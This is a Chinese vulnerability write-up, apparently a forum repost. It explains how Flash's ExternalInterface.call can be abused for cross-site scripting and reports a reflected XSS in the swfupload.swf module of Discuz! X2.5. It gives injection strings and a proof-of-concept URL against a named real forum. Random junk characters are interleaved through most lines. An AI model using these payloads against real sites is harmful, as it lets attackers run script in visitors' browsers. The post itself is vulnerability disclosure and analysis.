上回我们说1 f# D8 W4 R- E! m0 I/ z1 B! A1 v
- @$ @7 b& T. U X
flash.external.ExternalInterface.call($methodName, $parameter)
6 M9 |* D& I9 T, z+ v" X3 @在浏览器中执行的是+ K9 }3 A5 X$ R) F6 c3 p. l j
3 d+ o. U ^( ?0 L4 Xtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
6 O8 [. G6 r( I) p% g* T对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
- ^6 F. [6 a, L1 Q2 B
4 c1 L x/ f# B" o- z# Q* n5 f# dflash.external.ExternalInterface.call("object."+$methodName, $parameter)9 Y$ T( L" b2 p( o c! H( e; u( D
$methodName = a())}catch(e){alert(/xss/)}//
2 b5 A8 V5 E# M: v) _0 R `% z结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。8 v2 Z5 i* [. b$ p+ c! V5 A
9 P* ^/ Z* b$ B/ d9 n' E+ [+ v" T
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }; q( L; ?5 X5 I4 U3 \
/ `; E& f+ [) ?" V3 a" c( |- X
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ): b/ _: H: F2 ~8 w( ~6 k/ M9 Z
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
+ s4 H" Z4 s) [+ _, Z- `6 f+ E9 t* e: O# M+ u: Z
7 Z2 e4 L* j* r4 e
8 i5 D/ e7 W8 a: g. W) I" [漏洞文件:upload\static\image\common\swfupload.swf
: A3 X+ n. Q. l7 L3 _9 r% q
* G; M, g0 }5 |原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
$ Z8 o$ G/ \# g' v$ o8 n. O
8 U, s \5 Q) D: B$ W% k! t5 y$ r+ z4 @+ x
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
$ V" y0 w/ i: U* g' X
3 m* [9 a$ B! u) [5 O/ f' n' w! E4 C9 ?8 c
|